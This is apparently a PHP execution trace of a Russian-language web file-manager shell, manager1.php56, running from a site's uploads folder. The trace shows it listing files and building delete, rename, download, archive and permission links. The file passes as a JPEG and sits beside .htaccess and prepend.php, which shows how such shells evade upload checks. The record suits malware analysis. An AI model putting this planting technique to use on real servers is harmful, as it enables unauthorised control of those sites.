2		A						/var/www/html/uploads/manager1.php56	534	$dir[] = 'data'
3	60	0	0.005864	956024	readdir	0		/var/www/html/uploads/manager1.php56	531	1	resource(4) of type (stream)
3	60	1	0.005877	956104
3	60	R			'.htaccess'
2		A						/var/www/html/uploads/manager1.php56	531	$filename = '.htaccess'
3	61	0	0.005901	956064	substr	0		/var/www/html/uploads/manager1.php56	532	3	'.htaccess'	0	1
3	61	1	0.005913	956160
3	61	R			'.'
2		A						/var/www/html/uploads/manager1.php56	534	$dir[] = '.htaccess'
3	62	0	0.005936	956064	readdir	0		/var/www/html/uploads/manager1.php56	531	1	resource(4) of type (stream)
3	62	1	0.005949	956144
3	62	R			'manager1.php56'
2		A						/var/www/html/uploads/manager1.php56	531	$filename = 'manager1.php56'
3	63	0	0.005974	956104	substr	0		/var/www/html/uploads/manager1.php56	532	3	'manager1.php56'	0	1
3	63	1	0.005987	956200
3	63	R			'm'
2		A						/var/www/html/uploads/manager1.php56	534	$dir[] = 'manager1.php56'
3	64	0	0.006010	956104	readdir	0		/var/www/html/uploads/manager1.php56	531	1	resource(4) of type (stream)
3	64	1	0.006024	956144
3	64	R			FALSE
2		A						/var/www/html/uploads/manager1.php56	531	$filename = FALSE
3	65	0	0.006047	956104	closedir	0		/var/www/html/uploads/manager1.php56	538	1	resource(4) of type (stream)
3	65	1	0.006063	955920
3	65	R			NULL
3	66	0	0.006075	955904	natsort	0		/var/www/html/uploads/manager1.php56	539	1	[0 => '..', 1 => '.', 2 => 'prepend.php', 3 => 'data', 4 => '.htaccess', 5 => 'manager1.php56']
3	66	1	0.006095	955936
3	66	R			TRUE
2	49	1	0.006108	955856
2	49	R			[1 => '.', 0 => '..', 4 => '.htaccess', 3 => 'data', 5 => 'manager1.php56', 2 => 'prepend.php']
1		A						/var/www/html/uploads/manager1.php56	1463	$elements = [1 => '.', 0 => '..', 4 => '.htaccess', 3 => 'data', 5 => 'manager1.php56', 2 => 'prepend.php']
1		A						/var/www/html/uploads/manager1.php56	1464	$dirs = []
1		A						/var/www/html/uploads/manager1.php56	1465	$files = []
2	67	0	0.006165	955904	is_dir	0		/var/www/html/uploads/manager1.php56	1467	1	'/var/www/html/uploads/.'
2	67	1	0.006181	955944
2	67	R			TRUE
1		A						/var/www/html/uploads/manager1.php56	1468	$dirs[] = '.'
2	68	0	0.006205	956288	is_dir	0		/var/www/html/uploads/manager1.php56	1467	1	'/var/www/html/uploads/..'
2	68	1	0.006219	956336
2	68	R			TRUE
1		A						/var/www/html/uploads/manager1.php56	1468	$dirs[] = '..'
2	69	0	0.006242	956296	is_dir	0		/var/www/html/uploads/manager1.php56	1467	1	'/var/www/html/uploads/.htaccess'
2	69	1	0.006257	956336
2	69	R			FALSE
1		A						/var/www/html/uploads/manager1.php56	1470	$files[] = '.htaccess'
2	70	0	0.006280	956672	is_dir	0		/var/www/html/uploads/manager1.php56	1467	1	'/var/www/html/uploads/data'
2	70	1	0.006295	956712
2	70	R			TRUE
1		A						/var/www/html/uploads/manager1.php56	1468	$dirs[] = 'data'
2	71	0	0.006317	956680	is_dir	0		/var/www/html/uploads/manager1.php56	1467	1	'/var/www/html/uploads/manager1.php56'
2	71	1	0.006332	956728
2	71	R			FALSE
1		A						/var/www/html/uploads/manager1.php56	1470	$files[] = 'manager1.php56'
2	72	0	0.006356	956688	is_dir	0		/var/www/html/uploads/manager1.php56	1467	1	'/var/www/html/uploads/prepend.php'
2	72	1	0.006371	956728
2	72	R			FALSE
1		A						/var/www/html/uploads/manager1.php56	1470	$files[] = 'prepend.php'
2	73	0	0.006395	956648	natsort	0		/var/www/html/uploads/manager1.php56	1473	1	[0 => '.', 1 => '..', 2 => 'data']
2	73	1	0.006411	956680
2	73	R			TRUE
2	74	0	0.006423	956672	natsort	0		/var/www/html/uploads/manager1.php56	1473	1	[0 => '.htaccess', 1 => 'manager1.php56', 2 => 'prepend.php']
2	74	1	0.006439	956704
2	74	R			TRUE
2	75	0	0.006451	956672	array_merge	0		/var/www/html/uploads/manager1.php56	1474	2	[0 => '.', 1 => '..', 2 => 'data']	[0 => '.htaccess', 1 => 'manager1.php56', 2 => 'prepend.php']
2	75	1	0.006470	957112
2	75	R			[0 => '.', 1 => '..', 2 => 'data', 3 => '.htaccess', 4 => 'manager1.php56', 5 => 'prepend.php']
1		A						/var/www/html/uploads/manager1.php56	1474	$elements = [0 => '.', 1 => '..', 2 => 'data', 3 => '.htaccess', 4 => 'manager1.php56', 5 => 'prepend.php']
1		A						/var/www/html/uploads/manager1.php56	1477	$filename = '/var/www/html/uploads/.'
2	76	0	0.006521	956720	stat	0		/var/www/html/uploads/manager1.php56	1478	1	'/var/www/html/uploads/.'
2	76	1	0.006538	958496
2	76	R			[0 => 2049, 1 => 524475, 2 => 16895, 3 => 3, 4 => 0, 5 => 0, 6 => 0, 7 => 4096, 8 => 1676254089, 9 => 1676254089, 10 => 1676254089, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524475, 'mode' => 16895, 'nlink' => 3, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 4096, 'atime' => 1676254089, 'mtime' => 1676254089, 'ctime' => 1676254089, 'blksize' => 4096, 'blocks' => 8]
1		A						/var/www/html/uploads/manager1.php56	1478	$filedata = [0 => 2049, 1 => 524475, 2 => 16895, 3 => 3, 4 => 0, 5 => 0, 6 => 0, 7 => 4096, 8 => 1676254089, 9 => 1676254089, 10 => 1676254089, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524475, 'mode' => 16895, 'nlink' => 3, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 4096, 'atime' => 1676254089, 'mtime' => 1676254089, 'ctime' => 1676254089, 'blksize' => 4096, 'blocks' => 8]
2	77	0	0.006598	958456	is_dir	0		/var/www/html/uploads/manager1.php56	1479	1	'/var/www/html/uploads/.'
2	77	1	0.006611	958496
2	77	R			TRUE
1		A						/var/www/html/uploads/manager1.php56	1480	$filedata[7] = ''
2	78	0	0.006637	958536	__	1		/var/www/html/uploads/manager1.php56	1482	1	'Show'
2	78	1	0.006651	958536
2	78	R			'Показать'
1		A						/var/www/html/uploads/manager1.php56	1482	$link = '<a href="?fm=true&path=/var/www/html/uploads/." title="Показать ."><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> .</a>'
2	79	0	0.006682	958616	fm_root	1		/var/www/html/uploads/manager1.php56	1483	1	'.'
2	79	1	0.006695	958616
2	79	R			TRUE
1		A						/var/www/html/uploads/manager1.php56	1483	$loadlink = ''
2	80	0	0.006719	958616	fm_root	1		/var/www/html/uploads/manager1.php56	1484	1	'.'
2	80	1	0.006732	958616
2	80	R			TRUE
1		A						/var/www/html/uploads/manager1.php56	1484	$arlink = ''
1		A						/var/www/html/uploads/manager1.php56	1485	$style = 'row2'
2	81	0	0.006765	958616	fm_root	1		/var/www/html/uploads/manager1.php56	1486	1	'.'
2	81	1	0.006777	958616
2	81	R			TRUE
1		A						/var/www/html/uploads/manager1.php56	1486	$alert = ''
2	82	0	0.006800	958616	fm_root	1		/var/www/html/uploads/manager1.php56	1503	1	'.'
2	82	1	0.006812	958616
2	82	R			TRUE
1		A						/var/www/html/uploads/manager1.php56	1503	$deletelink = ''
2	83	0	0.006835	958616	fm_root	1		/var/www/html/uploads/manager1.php56	1504	1	'.'
2	83	1	0.006847	958616
2	83	R			TRUE
1		A						/var/www/html/uploads/manager1.php56	1504	$renamelink = ''
1		A						/var/www/html/uploads/manager1.php56	1505	$rightstext = ''
2	84	0	0.006882	958616	gmdate	0		/var/www/html/uploads/manager1.php56	1510	2	'Y-m-d H:i:s'	1676254089
2	84	1	0.006898	958944
2	84	R			'2023-02-13 02:08:09'
1		A						/var/www/html/uploads/manager1.php56	1477	$filename = '/var/www/html/uploads/..'
2	85	0	0.006924	958624	stat	0		/var/www/html/uploads/manager1.php56	1478	1	'/var/www/html/uploads/..'
2	85	1	0.006940	960424
2	85	R			[0 => 2049, 1 => 524474, 2 => 16895, 3 => 3, 4 => 0, 5 => 0, 6 => 0, 7 => 4096, 8 => 1676254089, 9 => 1676254089, 10 => 1676254089, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524474, 'mode' => 16895, 'nlink' => 3, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 4096, 'atime' => 1676254089, 'mtime' => 1676254089, 'ctime' => 1676254089, 'blksize' => 4096, 'blocks' => 8]
1		A						/var/www/html/uploads/manager1.php56	1478	$filedata = [0 => 2049, 1 => 524474, 2 => 16895, 3 => 3, 4 => 0, 5 => 0, 6 => 0, 7 => 4096, 8 => 1676254089, 9 => 1676254089, 10 => 1676254089, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524474, 'mode' => 16895, 'nlink' => 3, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 4096, 'atime' => 1676254089, 'mtime' => 1676254089, 'ctime' => 1676254089, 'blksize' => 4096, 'blocks' => 8]
2	86	0	0.007000	958632	is_dir	0		/var/www/html/uploads/manager1.php56	1479	1	'/var/www/html/uploads/..'
2	86	1	0.007013	958672
2	86	R			TRUE
1		A						/var/www/html/uploads/manager1.php56	1480	$filedata[7] = ''
2	87	0	0.007037	958728	__	1		/var/www/html/uploads/manager1.php56	1482	1	'Show'
2	87	1	0.007051	958728
2	87	R			'Показать'
1		A						/var/www/html/uploads/manager1.php56	1482	$link = '<a href="?fm=true&path=/var/www/html/uploads/.." title="Показать .."><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> ..</a>'
2	88	0	0.007082	958664	fm_root	1		/var/www/html/uploads/manager1.php56	1483	1	'..'
2	88	1	0.007095	958664
2	88	R			TRUE
1		A						/var/www/html/uploads/manager1.php56	1483	$loadlink = ''
2	89	0	0.007118	958664	fm_root	1		/var/www/html/uploads/manager1.php56	1484	1	'..'
2	89	1	0.007131	958664
2	89	R			TRUE
1		A						/var/www/html/uploads/manager1.php56	1484	$arlink = ''
1		A						/var/www/html/uploads/manager1.php56	1485	$style = 'row2'
2	90	0	0.007167	958664	fm_root	1		/var/www/html/uploads/manager1.php56	1486	1	'..'
2	90	1	0.007180	958664
2	90	R			TRUE
1		A						/var/www/html/uploads/manager1.php56	1486	$alert = ''
2	91	0	0.007203	958664	fm_root	1		/var/www/html/uploads/manager1.php56	1503	1	'..'
2	91	1	0.007215	958664
2	91	R			TRUE
1		A						/var/www/html/uploads/manager1.php56	1503	$deletelink = ''
2	92	0	0.007237	958664	fm_root	1		/var/www/html/uploads/manager1.php56	1504	1	'..'
2	92	1	0.007250	958664
2	92	R			TRUE
1		A						/var/www/html/uploads/manager1.php56	1504	$renamelink = ''
1		A						/var/www/html/uploads/manager1.php56	1505	$rightstext = ''
2	93	0	0.007284	958664	gmdate	0		/var/www/html/uploads/manager1.php56	1510	2	'Y-m-d H:i:s'	1676254089
2	93	1	0.007299	958992
2	93	R			'2023-02-13 02:08:09'
1		A						/var/www/html/uploads/manager1.php56	1477	$filename = '/var/www/html/uploads/data'
2	94	0	0.007325	958664	stat	0		/var/www/html/uploads/manager1.php56	1478	1	'/var/www/html/uploads/data'
2	94	1	0.007341	960456
2	94	R			[0 => 2049, 1 => 524476, 2 => 16895, 3 => 2, 4 => 0, 5 => 0, 6 => 0, 7 => 4096, 8 => 1676254089, 9 => 1676254089, 10 => 1676254089, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524476, 'mode' => 16895, 'nlink' => 2, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 4096, 'atime' => 1676254089, 'mtime' => 1676254089, 'ctime' => 1676254089, 'blksize' => 4096, 'blocks' => 8]
1		A						/var/www/html/uploads/manager1.php56	1478	$filedata = [0 => 2049, 1 => 524476, 2 => 16895, 3 => 2, 4 => 0, 5 => 0, 6 => 0, 7 => 4096, 8 => 1676254089, 9 => 1676254089, 10 => 1676254089, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524476, 'mode' => 16895, 'nlink' => 2, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 4096, 'atime' => 1676254089, 'mtime' => 1676254089, 'ctime' => 1676254089, 'blksize' => 4096, 'blocks' => 8]
2	95	0	0.007402	958664	is_dir	0		/var/www/html/uploads/manager1.php56	1479	1	'/var/www/html/uploads/data'
2	95	1	0.007416	958704
2	95	R			TRUE
1		A						/var/www/html/uploads/manager1.php56	1480	$filedata[7] = ''
2	96	0	0.007441	958760	__	1		/var/www/html/uploads/manager1.php56	1482	1	'Show'
2	96	1	0.007454	958760
2	96	R			'Показать'
1		A						/var/www/html/uploads/manager1.php56	1482	$link = '<a href="?fm=true&path=/var/www/html/uploads/data" title="Показать data"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> data</a>'
2	97	0	0.007485	958664	fm_root	1		/var/www/html/uploads/manager1.php56	1483	1	'data'
2	97	1	0.007498	958664
2	97	R			FALSE
2	98	0	0.007511	958664	__	1		/var/www/html/uploads/manager1.php56	1483	1	'Compress'
2	98	1	0.007524	958664
2	98	R			'Сжать'
2	99	0	0.007538	958712	__	1		/var/www/html/uploads/manager1.php56	1483	1	'Archiving'
2	99	1	0.007551	958712
2	99	R			'Архивировать'
2	100	0	0.007565	958768	fm_link	1		/var/www/html/uploads/manager1.php56	1483	4	'zip'	'/var/www/html/uploads/data'	'Сжать&nbsp;zip'	'Архивировать data'
3	101	0	0.007584	958824	base64_encode	0		/var/www/html/uploads/manager1.php56	546	1	'/var/www/html/uploads/data'
3	101	1	0.007597	958936
3	101	R			'L3Zhci93d3cvaHRtbC91cGxvYWRzL2RhdGE='
2	100	1	0.007613	958928
2	100	R			'&nbsp;&nbsp;<a href="?zip=L3Zhci93d3cvaHRtbC91cGxvYWRzL2RhdGE=" title="Архивировать data">Сжать&nbsp;zip</a>'
1		A						/var/www/html/uploads/manager1.php56	1483	$loadlink = '&nbsp;&nbsp;<a href="?zip=L3Zhci93d3cvaHRtbC91cGxvYWRzL2RhdGE=" title="Архивировать data">Сжать&nbsp;zip</a>'
2	102	0	0.007653	958824	fm_root	1		/var/www/html/uploads/manager1.php56	1484	1	'data'
2	102	1	0.007666	958824
2	102	R			FALSE
2	103	0	0.007679	958824	__	1		/var/www/html/uploads/manager1.php56	1484	1	'Compress'
2	103	1	0.007692	958824
2	103	R			'Сжать'
2	104	0	0.007706	958872	__	1		/var/www/html/uploads/manager1.php56	1484	1	'Archiving'
2	104	1	0.007718	958872
2	104	R			'Архивировать'
2	105	0	0.007733	958928	fm_link	1		/var/www/html/uploads/manager1.php56	1484	4	'gz'	'/var/www/html/uploads/data'	'Сжать&nbsp;.tar.gz'	'Архивировать data'
3	106	0	0.007750	958984	base64_encode	0		/var/www/html/uploads/manager1.php56	546	1	'/var/www/html/uploads/data'
3	106	1	0.007763	959096
3	106	R			'L3Zhci93d3cvaHRtbC91cGxvYWRzL2RhdGE='
2	105	1	0.007779	959088
2	105	R			'&nbsp;&nbsp;<a href="?gz=L3Zhci93d3cvaHRtbC91cGxvYWRzL2RhdGE=" title="Архивировать data">Сжать&nbsp;.tar.gz</a>'
1		A						/var/www/html/uploads/manager1.php56	1484	$arlink = '&nbsp;&nbsp;<a href="?gz=L3Zhci93d3cvaHRtbC91cGxvYWRzL2RhdGE=" title="Архивировать data">Сжать&nbsp;.tar.gz</a>'
1		A						/var/www/html/uploads/manager1.php56	1485	$style = 'row2'
2	107	0	0.007834	958984	fm_root	1		/var/www/html/uploads/manager1.php56	1486	1	'data'
2	107	1	0.007847	958984
2	107	R			FALSE
2	108	0	0.007860	958984	__	1		/var/www/html/uploads/manager1.php56	1486	1	'Are you sure you want to delete this directory (recursively)?'
2	108	1	0.007875	958984
2	108	R			'Вы уверены, что хотите удалить эту папку (рекурсивно)?'
1		A						/var/www/html/uploads/manager1.php56	1486	$alert = 'onClick="if(confirm(\'Вы уверены, что хотите удалить эту папку (рекурсивно)?\\n /data\')) document.location.href = \'?fm=true&delete=data&path=/var/www/html/uploads/\'"'
2	109	0	0.007917	959240	fm_root	1		/var/www/html/uploads/manager1.php56	1503	1	'data'
2	109	1	0.007929	959240
2	109	R			FALSE
2	110	0	0.007942	959240	__	1		/var/www/html/uploads/manager1.php56	1503	1	'Delete'
2	110	1	0.007955	959240
2	110	R			'Удалить'
2	111	0	0.007969	959560	__	1		/var/www/html/uploads/manager1.php56	1503	1	'Delete'
2	111	1	0.007982	959560
2	111	R			'Удалить'
1		A						/var/www/html/uploads/manager1.php56	1503	$deletelink = '<a href="#" title="Удалить data" onClick="if(confirm(\'Вы уверены, что хотите удалить эту папку (рекурсивно)?\\n /data\')) document.location.href = \'?fm=true&delete=data&path=/var/www/html/uploads/\'">Удалить</a>'
2	112	0	0.008018	959560	fm_root	1		/var/www/html/uploads/manager1.php56	1504	1	'data'
2	112	1	0.008031	959560
2	112	R			FALSE
2	113	0	0.008044	959656	__	1		/var/www/html/uploads/manager1.php56	1504	1	'Rename'
2	113	1	0.008067	959656
2	113	R			'Переименовать'
2	114	0	0.008082	959688	__	1		/var/www/html/uploads/manager1.php56	1504	1	'Rename'
2	114	1	0.008094	959688
2	114	R			'Переименовать'
1		A						/var/www/html/uploads/manager1.php56	1504	$renamelink = '<a href="?fm=true&rename=data&path=/var/www/html/uploads/" title="Переименовать data">Переименовать</a>'
2	115	0	0.008132	959816	__	1		/var/www/html/uploads/manager1.php56	1505	1	'Rights'
2	115	1	0.008145	959816
2	115	R			'Права'
2	116	0	0.008159	959832	fm_rights_string	1		/var/www/html/uploads/manager1.php56	1505	2	'/var/www/html/uploads/data'	???
3	117	0	0.008174	959832	fileperms	0		/var/www/html/uploads/manager1.php56	393	1	'/var/www/html/uploads/data'
3	117	1	0.008188	959872
3	117	R			16895
2		A						/var/www/html/uploads/manager1.php56	393	$perms = 16895
2		A						/var/www/html/uploads/manager1.php56	394	$info = ''
2		A						/var/www/html/uploads/manager1.php56	410	$info = 'd'
2		A						/var/www/html/uploads/manager1.php56	424	$info .= 'r'
2		A						/var/www/html/uploads/manager1.php56	425	$info .= 'w'
2		A						/var/www/html/uploads/manager1.php56	428	$info .= 'x'
2		A						/var/www/html/uploads/manager1.php56	431	$info .= 'r'
2		A						/var/www/html/uploads/manager1.php56	432	$info .= 'w'
2		A						/var/www/html/uploads/manager1.php56	435	$info .= 'x'
2		A						/var/www/html/uploads/manager1.php56	438	$info .= 'r'
2		A						/var/www/html/uploads/manager1.php56	439	$info .= 'w'
2		A						/var/www/html/uploads/manager1.php56	442	$info .= 'x'
2	116	1	0.008324	959872
2	116	R			'drwxrwxrwx'
1		A						/var/www/html/uploads/manager1.php56	1505	$rightstext = '<a href="?fm=true&rights=data&path=/var/www/html/uploads/" title="Права data">drwxrwxrwx</a>'
2	118	0	0.008355	959848	gmdate	0		/var/www/html/uploads/manager1.php56	1510	2	'Y-m-d H:i:s'	1676254089
2	118	1	0.008371	960176
2	118	R			'2023-02-13 02:08:09'
1		A						/var/www/html/uploads/manager1.php56	1477	$filename = '/var/www/html/uploads/.htaccess'
2	119	0	0.008538	959848	stat	0		/var/www/html/uploads/manager1.php56	1478	1	'/var/www/html/uploads/.htaccess'
2	119	1	0.008556	961640
2	119	R			[0 => 2049, 1 => 524478, 2 => 33188, 3 => 1, 4 => 0, 5 => 0, 6 => 0, 7 => 64, 8 => 1676254089, 9 => 1676254089, 10 => 1676254089, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524478, 'mode' => 33188, 'nlink' => 1, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 64, 'atime' => 1676254089, 'mtime' => 1676254089, 'ctime' => 1676254089, 'blksize' => 4096, 'blocks' => 8]
1		A						/var/www/html/uploads/manager1.php56	1478	$filedata = [0 => 2049, 1 => 524478, 2 => 33188, 3 => 1, 4 => 0, 5 => 0, 6 => 0, 7 => 64, 8 => 1676254089, 9 => 1676254089, 10 => 1676254089, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524478, 'mode' => 33188, 'nlink' => 1, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 64, 'atime' => 1676254089, 'mtime' => 1676254089, 'ctime' => 1676254089, 'blksize' => 4096, 'blocks' => 8]
2	120	0	0.008642	959848	is_dir	0		/var/www/html/uploads/manager1.php56	1479	1	'/var/www/html/uploads/.htaccess'
2	120	1	0.008657	959888
2	120	R			FALSE
2	121	0	0.008670	959848	getimagesize	0		/var/www/html/uploads/manager1.php56	1489	1	'/var/www/html/uploads/.htaccess'
2	121	1	0.008706	959888
2	121	R			FALSE
2	122	0	0.008720	959944	__	1		/var/www/html/uploads/manager1.php56	1493	1	'Edit'
2	122	1	0.008734	959944
2	122	R			'Редактировать'
1		A						/var/www/html/uploads/manager1.php56	1493	$link = '<a href="?fm=true&edit=.htaccess&path=/var/www/html/uploads/" title="Редактировать"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> .htaccess</a>'
2	123	0	0.008768	959848	explode	0		/var/www/html/uploads/manager1.php56	1494	2	'.'	'.htaccess'
2	123	1	0.008783	960336
2	123	R			[0 => '', 1 => 'htaccess']
1		A						/var/www/html/uploads/manager1.php56	1494	$e_arr = [0 => '', 1 => 'htaccess']
2	124	0	0.008811	960288	end	0		/var/www/html/uploads/manager1.php56	1495	1	[0 => '', 1 => 'htaccess']
2	124	1	0.008825	960320
2	124	R			'htaccess'
1		A						/var/www/html/uploads/manager1.php56	1495	$ext = 'htaccess'
2	125	0	0.008850	960288	__	1		/var/www/html/uploads/manager1.php56	1496	1	'Download'
2	125	1	0.008864	960288
2	125	R			'Скачать'
2	126	0	0.008877	960288	__	1		/var/www/html/uploads/manager1.php56	1496	1	'Download'
2	126	1	0.008891	960288
2	126	R			'Скачать'
2	127	0	0.008904	960344	fm_link	1		/var/www/html/uploads/manager1.php56	1496	4	'download'	'/var/www/html/uploads/.htaccess'	'Скачать'	'Скачать .htaccess'
3	128	0	0.008921	960400	base64_encode	0		/var/www/html/uploads/manager1.php56	546	1	'/var/www/html/uploads/.htaccess'
3	128	1	0.008934	960512
3	128	R			'L3Zhci93d3cvaHRtbC91cGxvYWRzLy5odGFjY2Vzcw=='
2	127	1	0.008951	960504
2	127	R			'&nbsp;&nbsp;<a href="?download=L3Zhci93d3cvaHRtbC91cGxvYWRzLy5odGFjY2Vzcw==" title="Скачать .htaccess">Скачать</a>'
1		A						/var/www/html/uploads/manager1.php56	1496	$loadlink = '&nbsp;&nbsp;<a href="?download=L3Zhci93d3cvaHRtbC91cGxvYWRzLy5odGFjY2Vzcw==" title="Скачать .htaccess">Скачать</a>'
2	129	0	0.008990	960288	fm_root	1		/var/www/html/uploads/manager1.php56	1499	1	'.htaccess'
2	129	1	0.009003	960288
2	129	R			FALSE
2	130	0	0.009016	960288	__	1		/var/www/html/uploads/manager1.php56	1499	1	'Compress'
2	130	1	0.009029	960288
2	130	R			'Сжать'
2	131	0	0.009043	960336	__	1		/var/www/html/uploads/manager1.php56	1499	1	'Archiving'
2	131	1	0.009056	960336
2	131	R			'Архивировать'
2	132	0	0.009070	960400	fm_link	1		/var/www/html/uploads/manager1.php56	1499	4	'gzfile'	'/var/www/html/uploads/.htaccess'	'Сжать&nbsp;.tar.gz'	'Архивировать .htaccess'
3	133	0	0.009088	960456	base64_encode	0		/var/www/html/uploads/manager1.php56	546	1	'/var/www/html/uploads/.htaccess'
3	133	1	0.009101	960568
3	133	R			'L3Zhci93d3cvaHRtbC91cGxvYWRzLy5odGFjY2Vzcw=='
2	132	1	0.009117	960592
2	132	R			'&nbsp;&nbsp;<a href="?gzfile=L3Zhci93d3cvaHRtbC91cGxvYWRzLy5odGFjY2Vzcw==" title="Архивировать .htaccess">Сжать&nbsp;.tar.gz</a>'
1		A						/var/www/html/uploads/manager1.php56	1499	$arlink = '&nbsp;&nbsp;<a href="?gzfile=L3Zhci93d3cvaHRtbC91cGxvYWRzLy5odGFjY2Vzcw==" title="Архивировать .htaccess">Сжать&nbsp;.tar.gz</a>'
1		A						/var/www/html/uploads/manager1.php56	1500	$style = 'row1'
2	134	0	0.009169	960320	__	1		/var/www/html/uploads/manager1.php56	1501	1	'File selected'
2	134	1	0.009182	960320
2	134	R			'Выбран файл'
2	135	0	0.009197	960416	__	1		/var/www/html/uploads/manager1.php56	1501	1	'Are you sure you want to delete this file?'
2	135	1	0.009212	960416
2	135	R			'Вы уверены, что хотите удалить этот файл?'
1		A						/var/www/html/uploads/manager1.php56	1501	$alert = 'onClick="if(confirm(\'Выбран файл: \\n.htaccess. \\nВы уверены, что хотите удалить этот файл?\')) document.location.href = \'?fm=true&delete=.htaccess&path=/var/www/html/uploads/\'"'
2	136	0	0.009257	960320	fm_root	1		/var/www/html/uploads/manager1.php56	1503	1	'.htaccess'
2	136	1	0.009270	960320
2	136	R			FALSE
2	137	0	0.009283	960320	__	1		/var/www/html/uploads/manager1.php56	1503	1	'Delete'
2	137	1	0.009296	960320
2	137	R			'Удалить'
2	138	0	0.009310	960640	__	1		/var/www/html/uploads/manager1.php56	1503	1	'Delete'
2	138	1	0.009322	960640
2	138	R			'Удалить'
1		A						/var/www/html/uploads/manager1.php56	1503	$deletelink = '<a href="#" title="Удалить .htaccess" onClick="if(confirm(\'Выбран файл: \\n.htaccess. \\nВы уверены, что хотите удалить этот файл?\')) document.location.href = \'?fm=true&delete=.htaccess&path=/var/www/html/uploads/\'">Удалить</a>'
2	139	0	0.009359	960320	fm_root	1		/var/www/html/uploads/manager1.php56	1504	1	'.htaccess'
2	139	1	0.009372	960320
2	139	R			FALSE
2	140	0	0.009385	960416	__	1		/var/www/html/uploads/manager1.php56	1504	1	'Rename'
2	140	1	0.009398	960416
2	140	R			'Переименовать'
2	141	0	0.009413	960480	__	1		/var/www/html/uploads/manager1.php56	1504	1	'Rename'
2	141	1	0.009425	960480
2	141	R			'Переименовать'
1		A						/var/www/html/uploads/manager1.php56	1504	$renamelink = '<a href="?fm=true&rename=.htaccess&path=/var/www/html/uploads/" title="Переименовать .htaccess">Переименовать</a>'
2	142	0	0.009457	960448	__	1		/var/www/html/uploads/manager1.php56	1505	1	'Rights'
2	142	1	0.009470	960448
2	142	R			'Права'
2	143	0	0.009483	960480	fm_rights_string	1		/var/www/html/uploads/manager1.php56	1505	2	'/var/www/html/uploads/.htaccess'	???
3	144	0	0.009497	960480	fileperms	0		/var/www/html/uploads/manager1.php56	393	1	'/var/www/html/uploads/.htaccess'
3	144	1	0.009510	960520
3	144	R			33188
2		A						/var/www/html/uploads/manager1.php56	393	$perms = 33188
2		A						/var/www/html/uploads/manager1.php56	394	$info = ''
2		A						/var/www/html/uploads/manager1.php56	404	$info = '-'
2		A						/var/www/html/uploads/manager1.php56	424	$info .= 'r'
2		A						/var/www/html/uploads/manager1.php56	425	$info .= 'w'
2		A						/var/www/html/uploads/manager1.php56	428	$info .= '-'
2		A						/var/www/html/uploads/manager1.php56	431	$info .= 'r'
2		A						/var/www/html/uploads/manager1.php56	432	$info .= '-'
2		A						/var/www/html/uploads/manager1.php56	435	$info .= '-'
2		A						/var/www/html/uploads/manager1.php56	438	$info .= 'r'
2		A						/var/www/html/uploads/manager1.php56	439	$info .= '-'
2		A						/var/www/html/uploads/manager1.php56	442	$info .= '-'
2	143	1	0.009645	960520
2	143	R			'-rw-r--r--'
1		A						/var/www/html/uploads/manager1.php56	1505	$rightstext = '<a href="?fm=true&rights=.htaccess&path=/var/www/html/uploads/" title="Права .htaccess">-rw-r--r--</a>'
2	145	0	0.009677	960384	gmdate	0		/var/www/html/uploads/manager1.php56	1510	2	'Y-m-d H:i:s'	1676254089
2	145	1	0.009693	960712
2	145	R			'2023-02-13 02:08:09'
1		A						/var/www/html/uploads/manager1.php56	1477	$filename = '/var/www/html/uploads/manager1.php56'
2	146	0	0.009720	960392	stat	0		/var/www/html/uploads/manager1.php56	1478	1	'/var/www/html/uploads/manager1.php56'
2	146	1	0.009737	962192
2	146	R			[0 => 2049, 1 => 524480, 2 => 33204, 3 => 1, 4 => 1000, 5 => 1000, 6 => 0, 7 => 87065, 8 => 1676254089, 9 => 1676254089, 10 => 1676254089, 11 => 4096, 12 => 176, 'dev' => 2049, 'ino' => 524480, 'mode' => 33204, 'nlink' => 1, 'uid' => 1000, 'gid' => 1000, 'rdev' => 0, 'size' => 87065, 'atime' => 1676254089, 'mtime' => 1676254089, 'ctime' => 1676254089, 'blksize' => 4096, 'blocks' => 176]
1		A						/var/www/html/uploads/manager1.php56	1478	$filedata = [0 => 2049, 1 => 524480, 2 => 33204, 3 => 1, 4 => 1000, 5 => 1000, 6 => 0, 7 => 87065, 8 => 1676254089, 9 => 1676254089, 10 => 1676254089, 11 => 4096, 12 => 176, 'dev' => 2049, 'ino' => 524480, 'mode' => 33204, 'nlink' => 1, 'uid' => 1000, 'gid' => 1000, 'rdev' => 0, 'size' => 87065, 'atime' => 1676254089, 'mtime' => 1676254089, 'ctime' => 1676254089, 'blksize' => 4096, 'blocks' => 176]
2	147	0	0.009800	960400	is_dir	0		/var/www/html/uploads/manager1.php56	1479	1	'/var/www/html/uploads/manager1.php56'
2	147	1	0.009812	960440
2	147	R			FALSE
2	148	0	0.009826	960400	getimagesize	0		/var/www/html/uploads/manager1.php56	1489	1	'/var/www/html/uploads/manager1.php56'
2	148	1	0.009855	961008
2	148	R			[0 => 80, 1 => 80, 2 => 2, 3 => 'width="80" height="80"', 'bits' => 8, 'channels' => 3, 'mime' => 'image/jpeg']
2	149	0	0.009878	960400	fm_img_link	1		/var/www/html/uploads/manager1.php56	1491	1	'/var/www/html/uploads/manager1.php56'
3	150	0	0.009891	960400	basename	0		/var/www/html/uploads/manager1.php56	693	1	'/var/www/html/uploads/manager1.php56'
3	150	1	0.009911	960472
